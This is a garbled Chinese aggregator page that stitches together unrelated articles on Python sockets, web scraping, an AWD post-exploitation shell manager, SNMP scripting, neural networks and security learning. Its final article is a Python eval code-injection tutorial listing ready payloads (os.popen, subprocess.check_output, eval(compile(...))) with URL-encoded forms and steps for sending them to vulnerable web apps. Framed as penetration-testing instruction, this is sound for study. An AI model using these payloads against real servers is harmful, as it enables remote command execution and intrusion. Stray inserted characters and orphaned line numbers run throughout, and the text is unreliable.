㈠ Python 網路編程需要學習哪些網路相關的知識
Python網路編程是一個很大的范疇:
1. 如何使用Python來創建socket, 如何將socket與指定的IP地址和埠進行綁定橡宴,使用socket來發送數據,接受數據,
2. 如何使用Python中處理線程,從而編寫可以同時處理多個請求的web服務梁歷銀器
3. 如何使用Python來控制HTTP層的邏輯,包括如何創建http GET,POST,PUT,DELETE請求,如何處理接受到的HTTP請求,這些分別涉及python的httplib, basehttpserver等模塊
4. 掌握一種基本的python的web開發框架,比如webpy, django,pylon
5. 了解非阻塞式的HTTP Server,比如tornado
6. 了爛敗解twisted, python編寫的消息驅動的網路引擎
㈡ python怎麼看源碼進行網路爬蟲
在我們日常上網瀏覽網頁的時候,經常會看到一些好看的圖片,我們就希望把這些圖片保存下載,或者用戶用來做桌面壁紙,或者用來做設計的素材。
我們最常規的做法就是通過滑鼠右鍵,選擇另存為。但有些圖片滑鼠右鍵的時候並沒有另存為選項,還有辦法就通過就是通過截圖工具截取下來,但這樣就降低圖片的清晰度。好吧~!其實你很厲害的,右鍵查看頁面源做消代碼。
我們可以通過python 來實現這樣一個簡單的爬蟲功能,把我橘冊們想要的代碼爬取到本地。下面就看看如何使用python來實現這樣一個功能。
一,獲取整個頁面數據
首先我們可以先獲取要下載圖片的整個頁面信息。
getjpg.py
#coding=utf-8
import urllib
def getHtml(url):
page = urllib.urlopen(url)
html = page.read()
return html
html = getHtml("http://tieba..com/p/2738151262")
print html
Urllib 模塊提供了讀取web頁面數據的介面,我們可以像讀取本地文件一樣讀取www和ftp上的數據。首先,我們定義了一個getHtml()函數:
urllib.urlopen()方法用於打開一個URL地址。
read()方法用於讀取URL上的數據,向getHtml()函純伍知數傳遞一個網址,並把整個頁面下載下來。執行程序就會把整個網頁列印輸出。
二,篩選頁面中想要的數據
Python 提供了非常強大的正則表達式,我們需要先要了解一點python 正則表達式的知識才行。
http://www.cnblogs.com/fnng/archive/2013/05/20/3089816.html
假如我們網路貼吧找到了幾張漂亮的壁紙,通過到前段查看工具。找到了圖片的地址,如:src=」https://gss0..com/70cFfyinKgQFm2e88IuM_a/forum......jpg」pic_ext=」jpeg」
修改代碼如下:
import re
import urllib
def getHtml(url):
page = urllib.urlopen(url)
html = page.read()
return html
def getImg(html):
reg = r'src="(.+?\.jpg)" pic_ext'
imgre = re.compile(reg)
imglist = re.findall(imgre,html)
return imglist
html = getHtml("http://tieba..com/p/2460150866")
print getImg(html)
我們又創建了getImg()函數,用於在獲取的整個頁面中篩選需要的圖片連接。re模塊主要包含了正則表達式:
re.compile() 可以把正則表達式編譯成一個正則表達式對象.
re.findall() 方法讀取html 中包含 imgre(正則表達式)的數據。
運行腳本將得到整個頁面中包含圖片的URL地址。
三,將頁面篩選的數據保存到本地
把篩選的圖片地址通過for循環遍歷並保存到本地,代碼如下:
#coding=utf-8
import urllib
import re
def getHtml(url):
page = urllib.urlopen(url)
html = page.read()
return html
def getImg(html):
reg = r'src="(.+?\.jpg)" pic_ext'
imgre = re.compile(reg)
imglist = re.findall(imgre,html)
x = 0
for imgurl in imglist:
urllib.urlretrieve(imgurl,'%s.jpg' % x)
x+=1
html = getHtml("http://tieba..com/p/2460150866")
print getImg(html)
這里的核心是用到了urllib.urlretrieve()方法,直接將遠程數據下載到本地。
通過一個for循環對獲取的圖片連接進行遍歷,為了使圖片的文件名看上去更規范,對其進行重命名,命名規則通過x變數加1。保存的位置默認為程序的存放目錄。
程序運行完成,將在目錄下看到下載到本地的文件。
㈢ python中的後滲透|也可用於AWD攻防--shell管理
在平時或者線下AWD的時候,有一個shell管理器可以讓我們打到事半功倍的效果。
前提你要能獲得別人shell,不然這個也沒什麼用了。
我這里寫好的這個只是棚悄一個思路,真正的後滲透工具,遠比這個強大。
[圖片上傳失敗...(image-80d3db-1514974826506)]
控制端
主要是三個模塊:
獲得sock和地址,判斷是哪個機器和我們連接的。
以及發送命令出去。進行編碼解碼。這里有一個坑。
py2和py3的socket我感覺好像不一樣,編碼自己出現了問題買就去網路解決吧,我這里沒啥問題,在我的機器調試好了。
還有就是命令行選項,可以發揮你們的想像自行添加。
得到的shell列表,將其list出來,按照id和ip分開:
如圖:
建立一個簡單的線程,因為 shellList 好幾個函數需要用到,就設置為全局變數。
最後的燃和脊主函數。建立scoket套接字,加入線程。
講一下socket對象中兩個參數的含義,
socket.AF_INET 代表使用IPv4協議 ,socket.SOCK_STREAM
代表使用面向流的Tcp協議,
也就是說我們創建了一個基於IPv4協議的Tcp Server。
當有多個台機器連接到控制端時,我們要記錄這些機器的皮滲socket對象
,以便我們可以選擇不同的操作對象
服務端
服務端主要就是接受命令並執行發送給控制端。
python調用系統命令有這幾種方法,更多的歡迎補充
一開始我是用subprocess,但是有些命令很慢,os.popen簡便些。
code:
argparse模塊也很好用,智能化一點。
[圖片上傳失敗...(image-f524d5-1514974826506)]
GAME OVER!
㈣ 如何快速入門計算機安全與網路攻防學習
1、這是一條堅持的道路,三分鍾的熱情可以放棄往下看了,保持對黑客技術的喜愛和熱情,靜水流深,不斷打磨技術。
2、多練多想,不要離開了教程什麼都不會了.要理論與實際相結合,搭建測試實驗環境。如學kali滲透,要搭建好DVWA滲透測試系統,不要空學理論不滲透測試。
3、有時多google,,我們往往都遇不到好心的大神,誰會無聊天天給你做解答. 黑客最好會用谷歌,由於國內目前不能用谷歌,你可以直接網路搜索關鍵字:谷歌鏡像,通過鏡像網站實現谷歌搜索。
4、可以加扣扣群或多逛論壇,多和大牛交流學習,多把握最新安全資訊,比如FreeBuf,不斷提高自己的安全攻防能力和網路安全能力。我目前是做網路安全方面,有興趣可以加v信[ihaha12],一起交流進步!
5、如果您想在線學習黑客網路攻防與計算機編程,網易雲課堂提供豐富的視頻教程資源,可供你學習!
基本方向:
1.web安全方面(指網站伺服器安全方面,進行滲透測試,檢測漏洞以及安全性,職業目標: WEB滲透測試工程師)
2、網路基礎與網路攻防。學習計算機網路基礎知識,為網路攻防做准備。 深入了解網路原理,並掌握它,將對我們的滲透攻擊及防禦至關重要。
3、系統安全,window和linux系統學習與安全加固。 企業伺服器主要有window和linux,其中以linux為主,企業一般都有這兩個系統,對內辦公系統一般用window,對外提供服務系統一般用linux,其中原因大家可以根據我們上面講的方法谷歌一下)
4、逆向破解方面(對軟體進行破解合完成各種高級任務。Python虛擬機本身幾乎可以在所有的作業系統中運行。)
5、搞計算機的,不會編程說不過去,至少要會腳本編程,比如cmd, shell, vbs, powershell, python等。本人主要學習的是cmd shell python,其中又以python為主。
㈤ 精通Python網路爬蟲之網路爬蟲學習路線
欲精通Python網路爬蟲,必先了解網路爬蟲學習路線,本篇經驗主要解決這個問題。部分內容參考自書籍《精通Python網路爬蟲》。
作者:韋瑋
轉載請註明出處
隨著大數據時代的到來,人們對數據資源的需求越來越多,而爬蟲是一種很好的自動採集數據的手段。
那麼,如何才能精通Python網路爬蟲呢?學習Python網路爬蟲的路線應該如何進行呢?在此為大傢具體進行介紹。
1、選擇一款合適的編程語言
事實上,Python、PHP、JAVA等常見的語言都可以用於編寫網路爬蟲,你首先需要選擇一款合適的編程語言,這些編程語言各有優勢,可以根據習慣進行選擇。在此筆者推薦使用Python進行爬蟲項目的編寫,其優點是:簡潔、掌握難度低。
2、掌握Python的一些基礎爬蟲模塊
當然,在進行這一步之前,你應當先掌握Python的一些簡單語法基礎,然後才可以使用Python語言進行爬蟲項目的開發。
在掌握了Python的語法基礎之後,你需要重點掌握一個Python的關於爬蟲開發的基礎模塊。這些模塊有很多可以供你選擇,比如urllib、requests等等,只需要精通一個基礎模塊即可,不必要都精通,因為都是大同小異的,在此推薦的是掌握urllib,當然你可以根據你的習慣進行選擇。
3、深入掌握一款合適的表達式
學會了如何爬取網頁內容之後,你還需要學會進行信息的提取。事實上,信息的提取你可以通過表達式進行實現,同樣,有很多表達式可以供你選擇使用,常見的有正則表達式、XPath表達式、BeautifulSoup等,這些表達式你沒有必要都精通,同樣,精通1-2個,其他的掌握即可,在此建議精通掌握正則表達式以及XPath表達式,其他的了解掌握即可。正則表達式可以處理的數據的范圍比較大,簡言之,就是能力比較強,XPath只能處理XML格式的數據,有些形式的數據不能處理,但XPath處理數據會比較快。
4、深入掌握抓包分析技術
事實上,很多網站都會做一些反爬措施,即不想讓你爬到他的數據。最常見的反爬手段就是對數據進行隱藏處理,這個時候,你就無法直接爬取相關的數據了。作為爬蟲方,如果需要在這種情況下獲取數據,那麼你需要對相應的數據進行抓包分析,然後再根據分析結果進行處理。一般推薦掌握的抓包分析工具是Fiddler,當然你也可以用其他的抓包分析工具,沒有特別的要求。
5、精通一款爬蟲框架
事實上,當你學習到這一步的時候,你已經入門了。
這個時候,你可能需要深入掌握一款爬蟲框架,因為採用框架開發爬蟲項目,效率會更加高,並且項目也會更加完善。
同樣,你可以有很多爬蟲框架進行選擇,比如Scrapy、pySpider等等,一樣的,你沒必要每一種框架都精通,只需要精通一種框架即可,其他框架都是大同小異的,當你深入精通一款框架的時候,其他的框架了解一下事實上你便能輕松使用,在此推薦掌握Scrapy框架,當然你可以根據習慣進行選擇。
6、掌握常見的反爬策略與反爬處理策略
反爬,是相對於網站方來說的,對方不想給你爬他站點的數據,所以進行了一些限制,這就是反爬。
反爬處理,是相對於爬蟲方來說的,在對方進行了反爬策略之後,你還想爬相應的數據,就需要有相應的攻克手段,這個時候,就需要進行反爬處理。
事實上,反爬以及反爬處理都有一些基本的套路,萬變不離其宗,這些後面作者會具體提到,感興趣的可以關注。
常見的反爬策略主要有:
IP限制
UA限制
Cookie限制
資源隨機化存儲
動態載入技術
……
對應的反爬處理手段主要有:
IP代理池技術
用戶代理池技術
Cookie保存與處理
自動觸發技術
抓包分析技術+自動觸發技術
……
這些大家在此先有一個基本的思路印象即可,後面都會具體通過實戰案例去介紹。
7、掌握PhantomJS、Selenium等工具的使用
有一些站點,通過常規的爬蟲很難去進行爬取,這個時候,你需要藉助一些工具模塊進行,比如PhantomJS、Selenium等,所以,你還需要掌握PhantomJS、Selenium等工具的常規使用方法。
8、掌握分布式爬蟲技術與數據去重技術
如果你已經學習或者研究到到了這里,那麼恭喜你,相信現在你爬任何網站都已經不是問題了,反爬對你來說也只是一道形同虛設的牆而已了。
但是,如果要爬取的資源非常非常多,靠一個單機爬蟲去跑,仍然無法達到你的目的,因為太慢了。
所以,這個時候,你還應當掌握一種技術,就是分布式爬蟲技術,分布式爬蟲的架構手段有很多,你可以依據真實的伺服器集群進行,也可以依據虛擬化的多台伺服器進行,你可以採用urllib+redis分布式架構手段,也可以採用Scrapy+redis架構手段,都沒關系,關鍵是,你可以將爬蟲任務部署到多台伺服器中就OK。
至於數據去重技術,簡單來說,目的就是要去除重復數據,如果數據量小,直接採用資料庫的數據約束進行實現,如果數據量很大,建議採用布隆過濾器實現數據去重即可,布隆過濾器的實現在Python中也是不難的。
以上是如果你想精通Python網路爬蟲的學習研究路線,按照這些步驟學習下去,可以讓你的爬蟲技術得到非常大的提升。
至於有些朋友問到,使用Windows系統還是Linux系統,其實,沒關系的,一般建議學習的時候使用Windows系統進行就行,比較考慮到大部分朋友對該系統比較數據,但是在實際運行爬蟲任務的時候,把爬蟲部署到Linux系統中運行,這樣效率比較高。由於Python的可移植性非常好,所以你在不同的平台中運行一個爬蟲,代碼基本上不用進行什麼修改,只需要學會部署到Linux中即可。所以,這也是為什麼說使用Windows系統還是Linux系統進行學習都沒多大影響的原因之一。
本篇文章主要是為那些想學習Python網路爬蟲,但是又不知道從何學起,怎麼學下去的朋友而寫的。希望通過本篇文章,可以讓你對Python網路爬蟲的研究路線有一個清晰的了解,這樣,本篇文章的目的就達到了,加油!
本文章由作者韋瑋原創,轉載請註明出處。
㈥ Python網路編程6-使用Pysnmp實現簡單網管
簡單網路管理協議SNMP(Simple Network Management Protocol)用於網路鋒帶跡設備的管理。SNMP作為廣泛應用於TCP/IP網路的網路管理標准協議,提供了統一的介面,從而實現了不同種類和廠商的網路設備之間的統一管理。
SNMP協議分為三個版本:SNMPv1、SNMPv2c和SNMPv3。
SNMP系統由網路管理系統NMS(Network Management System)、SNMP Agent、被管對象Management object和管理信息庫MIB(Management Information Base)四部分組成。
SNMP查詢是指NMS主動向SNMP Agent發送查詢請求,如圖1-3所示。SNMP Agent接收到查詢請求後,通過MIB表完成相應指令,並將結果反饋給NMS。SNMP查詢操作有三種:Get、GetNext和GetBulk。SNMPv1版本不支持GetBulk操作。
不同版本的SNMP查詢操作的工作原理基本一致,唯一的區別是SNMPv3版本增加了身份驗證和加密處理。下面以SNMPv2c版本的Get操作為例介紹SNMP查詢操作的工作原理。假定NMS想要獲取被管理設備MIB節點sysContact的值,使用可讀行前團體名為public,過程如下所示:
SNMP設置是指NMS主動向SNMP Agent發送對設備進行Set操作的請求,如下圖示。SNMP Agent接收到Set請求後,通過MIB表完成相應指令,並將結果反饋給NMS。
不同版本的SNMP Set操作的工作原理基本一致,唯一的區別是SNMPv3版本增加了身份驗證和加密處理。下面以SNMPv3版本的Set操作為例介紹SNMP Set操作的工作原理。
假定NMS想要設置被管理銀並設備MIB節點sysName的值為HUAWEI,過程如下所示:
SNMPv1和SNMPv2c的Set操作報文格式如下圖所示。一般情況下,SNMPv3的Set操作信息是經過加密封裝在SNMP PDU中,其格式與SNMPv2c的Set操作報文格式一致。
SNMP Traps是指SNMP Agent主動將設備產生的告警或事件上報給NMS,以便網路管理員及時了解設備當前運行的狀態。
SNMP Agent上報SNMP Traps有兩種方式:Trap和Inform。SNMPv1版本不支持Inform。Trap和Inform的區別在於,SNMP Agent通過Inform向NMS發送告警或事件後,NMS需要回復InformResponse進行確認。
在Ensp中搭建網路環境,在R2上啟用SNMP作為SNMP agent,Linux主機作為NMS;為方便觀察SNMP報文格式,在R2使用SNMP的版本為v2c。
通過下面的Python腳本獲取R2的系統信息與當前的主機名
運行結果如下
在R2介面上抓包結果如下,Linux主機向R2的161埠發送SNMP get-request報文,可以看到SNMP使用的版本為v2c,設置的團體名為public,隨機生成了一個request-id,變數綁定列表(Variable bindings),即要查詢的OID,但Value為空;值得注意的是這些信息都是明文傳輸的,為了安全在實際環境中應使用SNMPv3。
通過下面的Python腳本獲取R2的介面信息。
運行結果如下:
在R2介面抓包結果如下,getBuikRequest相比get-request設置了一個max-repetitions欄位,表明最多執行get操作的次數。Variable bindings中請求的OID條目只有一條。
下面Python腳本用於設置R2的主機名為SNMPv2R2。
運行結果如下
在路由器上可以看到主機名有R2變為了SNMPv2R2。
get-response數據包內容與set-request中無異。
下面Python腳本用於接收,R2發送的Trap,並做簡單解析。
先運行該腳本,之後再R2上手動將一個介面shutdown,結果如下:
介面上抓包結果如下,此時團體名用的是public,data部分表明是trap。
由於Ensp中的通用路由器認證演算法只支持des56,而pysnmp不支持該演算法,因此使用AR路由器配置SNMPv3。
使用下面Python腳本發送snmpv3 get報文獲取設備系統信息。
抓包結果如下,首先發送get-resques進行SNMPv3認證請求,隨機生成一個msgID,認證模式為USM,msgflgs中Reportable置1要求對方發送report,其他為置0,表示不進行加密與鑒權;另外安全參數,認證參數、加密參數都為空,此時不攜帶get請求數據。
路由器給NMS回復report,msgID與resquest一致,Msgflgs中各位都置0,同時回復使用的安全引擎,認證與加密參數為空,不進行認證與加密,因此能看到data中的數據。
AR1收到請求後進行回復,數據包中msgflags標志位中除reportable外其他位都置1,表示不需要回復,同時進行加密與鑒權。同樣也可以看到認證用戶為testuser,認證參數與加密參數都有填充,data部分也是同樣加密。
參考:
什麼是SNMP - 華為 (huawei.com)
AR100-S V300R003 MIB參考 - 華為 (huawei.com)
SNMP library for Python — SNMP library for Python 4.4 documentation (pysnmp.readthedocs.io)
㈦ 從零開始用Python構建神經網路
從零開始用Python構建神經網路
動機:為了更加深入的理解深度學習,我們將使用 python 語言從頭搭建一個神經網路,而不是使用像 Tensorflow 那樣的封裝好的框架。我認為理解神經網路的內部工作原理,對數據科學家來說至關重要。
這篇文章的內容是我的所學,希望也能對你有所幫助。
神經網路是什麼?
介紹神經網路的文章大多數都會將它和大腦進行類比。如果你沒有深入研究過大腦與神經網路的類比,那麼將神經網路解釋為一種將給定輸入映射為期望輸出的數學關系會更容易理解。
神經網路包括以下組成部分
? 一個輸入層,x
? 任意數量的隱藏層
? 一個輸出層,?
? 每層之間有一組權值和偏置,W and b
? 為隱藏層選擇一種激活函數,σ。在教程中我們使用 Sigmoid 激活函數
下圖展示了 2 層神經網路的結構(注意:我們在計算網路層數時通常排除輸入層)
2 層神經網路的結構
用 Python 可以很容易的構建神經網路類
訓練神經網路
這個網路的輸出 ? 為:
你可能會注意到,在上面的等式中,輸出 ? 是 W 和 b 函數。
因此 W 和 b 的值影響預測的准確率. 所以根據輸入數據對 W 和 b 調優的過程就被成為訓練神經網路。
每步訓練迭代包含以下兩個部分:
? 計算預測結果 ?,這一步稱為前向傳播
? 更新 W 和 b,,這一步成為反向傳播
下面的順序圖展示了這個過程:
前向傳播
正如我們在上圖中看到的,前向傳播只是簡單的計算。對於一個基本的 2 層網路來說,它的輸出是這樣的:
我們在 NeuralNetwork 類中增加一個計算前向傳播的函數。為了簡單起見我們假設偏置 b 為0:
但是我們還需要一個方法來評估預測結果的好壞(即預測值和真實值的誤差)。這就要用到損失函數。
損失函數
常用的損失函數有很多種,根據模型的需求來選擇。在本教程中,我們使用誤差平方和作為損失函數。
誤差平方和是求每個預測值和真實值之間的誤差再求和,這個誤差是他們的差值求平方以便我們觀察誤差的絕對值。
訓練的目標是找到一組 W 和 b,使得損失函數最好小,也即預測值和真實值之間的距離最小。
反向傳播
我們已經度量出了預測的誤差(損失),現在需要找到一種方法來傳播誤差,並以此更新權值和偏置。
為了知道如何適當的調整權值和偏置,我們需要知道損失函數對權值 W 和偏置 b 的導數。
回想微積分中的概念,函數的導數就是函數的斜率。
梯度下降法
如果我們已經求出了導數,我們就可以通過增加或減少導數值來更新權值 W 和偏置 b(參考上圖)。這種方式被稱為梯度下降法。
但是我們不能直接計算損失函數對權值和偏置的導數,因為在損失函數的等式中並沒有顯式的包含他們。因此,我們需要運用鏈式求導發在來幫助計算導數。
鏈式法則用於計算損失函數對 W 和 b 的導數。注意,為了簡單起見。我們只展示了假設網路只有 1 層的偏導數。
這雖然很簡陋,但是我們依然能得到想要的結果—損失函數對權值 W 的導數(斜率),因此我們可以相應的調整權值。
現在我們將反向傳播演算法的函數添加到 Python 代碼中
為了更深入的理解微積分原理和反向傳播中的鏈式求導法則,我強烈推薦 3Blue1Brown 的如下教程:
Youtube:https://youtu.be/tIeHLnjs5U8
整合並完成一個實例
既然我們已經有了包括前向傳播和反向傳播的完整 Python 代碼,那麼就將其應用到一個例子上看看它是如何工作的吧。
神經網路可以通過學習得到函數的權重。而我們僅靠觀察是不太可能得到函數的權重的。
讓我們訓練神經網路進行 1500 次迭代,看看會發生什麼。 注意觀察下面每次迭代的損失函數,我們可以清楚地看到損失函數單調遞減到最小值。這與我們之前介紹的梯度下降法一致。
讓我們看看經過 1500 次迭代後的神經網路的最終預測結果:
經過 1500 次迭代訓練後的預測結果
我們成功了!我們應用前向和方向傳播演算法成功的訓練了神經網路並且預測結果收斂於真實值。
注意預測值和真實值之間存在細微的誤差是允許的。這樣可以防止模型過擬合並且使得神經網路對於未知數據有著更強的泛化能力。
下一步是什麼?
幸運的是我們的學習之旅還沒有結束,仍然有很多關於神經網路和深度學習的內容需要學習。例如:
? 除了 Sigmoid 以外,還可以用哪些激活函數
? 在訓練網路的時候應用學習率
? 在面對圖像分類任務的時候使用卷積神經網路
我很快會寫更多關於這個主題的內容,敬請期待!
最後的想法
我自己也從零開始寫了很多神經網路的代碼
雖然可以使用諸如 Tensorflow 和 Keras 這樣的深度學習框架方便的搭建深層網路而不需要完全理解其內部工作原理。但是我覺得對於有追求的數據科學家來說,理解內部原理是非常有益的。
這種練習對我自己來說已成成為重要的時間投入,希望也能對你有所幫助
㈧ 網路攻防到底要學啥
網路攻防學習的內容:
1.首先學習windows基礎,比如電腦系統安裝,故障排除等等。然後多看《計算機網路五版》《黑客就這么幾招》。
2.進入深度學習,選仔掘擇語言學習畝和,比如Python,java,c,c++等高級語言念耐核,但是英語不好的,像我先學會兒易語言,了解編程,編程思維。然後學習英語,至少單詞會了。然後學習其他語言。
3.學習資料庫結構,資料庫配置,伺服器相關配置,以及網路配置,為了更好了解目標,也為了防禦。
4.可以開始學習滲透了,伺服器滲透等。5.學習社會工程學。危則變,變則通,通則久。網路攻防是一場此消彼長的動態平衡較量,當前國際網路安全局勢日趨復雜與嚴峻,合規驅動的正向網路安全防護思維已經不足以滿足各行各業的新生安全需求,逆向思維的「攻防實戰演習」便成為企業精準評估自身潛在脆弱性、驗證安全防護是否健全的方案。
㈨ python網路爬蟲怎麼學習
鏈接:https://pan..com/s/1wMgTx-M-Ea9y1IYn-UTZaA
課程簡介
畢業不知如何就業?工作效率低經常挨罵?很多次想學編程都沒有學會?
Python 實戰:四周實現爬蟲系統,無需編程基礎,二十八天掌握一項謀生技能。
帶你學到如何從網上批量獲得幾十萬數據,如何處理海量大數據,數據可視化及網站製作。
課程目錄
開始之前,魔力手冊 for 實戰學員預習
第一周:學會爬取網頁信息
第二周:學會爬取大規模數據
第三周:數據統計與分析
第四周:搭建 Django 數據可視化網站
......
㈩ 如何使用python查找網站漏洞
如果你的Web應用中存在Python代碼注入漏洞的話,攻擊者就可以利用你的Web應用來向你後台伺服器的Python解析器發送惡意Python代碼了。這也就意味著,如果你可以在目標伺服器中執行Python代碼的話,你就可以通過調用伺服器的操作系統的指令來實施攻擊了。通過運行操作系統命令,你不僅可以對那些可以訪問到的文件進行讀寫操作,甚至還可以啟動一個遠程的互動式Shell(例如nc、Metasploit和Empire)。
為了復現這個漏洞,我在最近的一次外部滲透測試過程中曾嘗試去利用過這個漏洞。當時我想在網上查找一些關於這個漏洞具體應用方法的信息,但是並沒有找到太多有價值的內容。在同事Charlie Worrell(@decidedlygray)的幫助下,我們成功地通過Burp POC實現了一個非互動式的shell,這也是我們這篇文章所要描述的內容。
因為除了Python之外,還有很多其他的語言(例如Perl和Ruby)也有可能出現代碼注入問題,因此Python代碼注入屬於伺服器端代碼注入的一種。實際上,如果各位同學和我一樣是一名CWE的關注者,那麼下面這兩個CWE也許可以給你提供一些有價值的參考內容:
1. CWE-94:代碼生成控制不當(『代碼注入』)2. CWE-95:動態代碼評估指令處理不當(『Eval注入』)漏洞利用
假設你現在使用Burp或者其他工具發現了一個Python注入漏洞,而此時的漏洞利用Payload又如下所示:
eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那麼你就可以使用下面這個Payload來在目標主機中實現操作系統指令注入了:
eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))實際上,你甚至都不需要使用for循環,直接使用全局函數「__import__」就可以了。具體代碼如下所示:
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其實我們的Payload代碼還可以更加簡潔,既然我們已經將import和popen寫在了一個表達式裡面了,那麼在大多數情況下,你甚至都不需要使用compile了。具體代碼如下所示:
__import__('os').popen('COMMAND').read()
為了將這個Payload發送給目標Web應用,你需要對其中的某些字元進行URL編碼。為了節省大家的時間,我們在這里已經將上面所列出的Payload代碼編碼完成了,具體如下所示:
param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下來,我們將會給大家介紹關於這個漏洞的細節內容,並跟大家分享一個包含這個漏洞的Web應用。在文章的結尾,我將會給大家演示一款工具,這款工具是我和我的同事Charlie共同編寫的,它可以明顯降低你在利用這個漏洞時所花的時間。簡而言之,這款工具就像sqlmap一樣,可以讓你快速找到SQL注入漏洞,不過這款工具仍在起步階段,感興趣的同學可以在項目的GitHub主頁[傳送門]中與我交流一下。
搭建一個包含漏洞的伺服器
為了更好地給各位同學進行演示,我專門創建了一個包含漏洞的Web應用。如果你想要自己動手嘗試利用這個漏洞的話,你可以點擊這里獲取這份Web應用。接下來,我們要配置的就是Web應用的運行環境,即通過pip或者easy_install來安裝web.py。它可以作為一台獨立的伺服器運行,或者你也可以將它載入至包含mod_wsgi模塊的Apache伺服器中。相關操作指令如下所示:
git clone https://github.com/sethsec/PyCodeInjection.gitcd VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py
漏洞分析
當你在網上搜索關於python的eval()函數時,幾乎沒有文章會提醒你這個函數是非常不安全的,而eval()函數就是導致這個Python代碼注入漏洞的罪魁禍首。如果你遇到了下面這兩種情況,說明你的Web應用中存在這個漏洞:
1. Web應用接受用戶輸入(例如GET/POST參數,cookie值);2. Web應用使用了一種不安全的方法來將用戶的輸入數據傳遞給eval()函數(沒有經過安全審查,或者缺少安全保護機制);下圖所示的是一份包含漏洞的示例代碼:
\
大家可以看到,eval()函數是上述代碼中唯一一個存在問題的地方。除此之外,如果開發人員直接對用戶的輸入數據(序列化數據)進行拆封的話,那麼Web應用中也將會出現這個漏洞。
不過需要注意的是,除了eval()函數之外,Python的exec()函數也有可能讓你的Web應用中出現這個漏洞。而且據我所示,現在很多開發人員都會在Web應用中不規范地使用exec()函數,所以這個問題肯定會存在。
自動掃描漏洞
為了告訴大家如何利用漏洞來實施攻擊,我通常會使用掃描器來發現一些我此前沒有見過的東西。找到之後,我再想辦法將毫無新意的PoC開發成一個有意義的exploit。不過我想提醒大家的是,不要過度依賴掃描工具,因為還很多東西是掃描工具也找不到的。
這個漏洞也不例外,如果你在某個Web應用中發現了這個漏洞,那麼你肯定使用了某款自動化的掃描工具,比如說Burp Suite Pro。目前為止,如果不使用類似Burp Suite Pro這樣的專業掃描工具,你幾乎是無法發現這個漏洞的。
當你搭建好測試環境之後,啟動並運行包含漏洞的示例應用。接下來,使用Burp Suite Pro來對其進行掃描。掃描結果如下圖所示:
\
下圖顯示的是Burp在掃描這個漏洞時所使用的Payload:
\
我們可以看到,Burp之所以要將這個Web應用標記為「Vulnerable」(包含漏洞的),是因為當它將這個Payload發送給目標Web應用之後,伺服器的Python解析器休眠了20秒,響應信息在20秒之後才成功返回。但我要提醒大家的是,這種基於時間的漏洞檢查機制通常會存在一定的誤報。
將PoC升級成漏洞利用代碼
使用time.sleep()來驗證漏洞的存在的確是一種很好的方法。接下來,為了執行操作系統指令並接收相應的輸出數據,我們可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()這幾個函數。當然了,應該還有很多其他的函數同樣可以實現我們的目標。
因為eval()函數只能對表達式進行處理,因此Burp Suite Pro的Payload在這里使用了compile()函數,這是一種非常聰明的做法。當然了,我們也可以使用其他的方法來實現,例如使用全局函數「__import__」。關於這部分內容請查閱參考資料:[參考資料1][參考資料2]
下面這個Payload應該可以適用於絕大多數的場景:
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Example with one expression
__import__('os').popen('COMMAND').read()
# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要執行一個或多個語句,那麼你就需要使用eval()或者compile()函數了。實現代碼如下所示:
# Examples with one expression
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的測試過程中,有時全局函數「__import__」會不起作用。在這種情況下,我們就要使用for循環了。相關代碼如下所示:
eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的參數是一個GET參數,那麼你就可以直接在瀏覽器中利用這個漏洞了:
\
請注意:雖然瀏覽器會幫你完成絕大部分的URL編碼工作,但是你仍然需要對分號(%3b)和空格(%20)進行手動編碼。除此之外,你也可以直接使用我們所開發的工具。
如果是POST參數的話,我建議各位直接使用類似Burp Repeater這樣的工具。如下圖所示,我在subprocess.check_output()函數中一次性調用了多個系統命令,即pwd、ls、-al、whoami和ping。
\
\
漏洞利用工具-PyCodeInjectionShell
你可以直接訪問PyCodeInjectionShell的GitHub主頁獲取工具源碼,我們也提供了相應的工具使用指南。在你使用這款工具的過程中會感覺到,它跟sqlmap一樣使用起來非常的簡單。除此之外,它的使用方法跟sqlmap基本相同。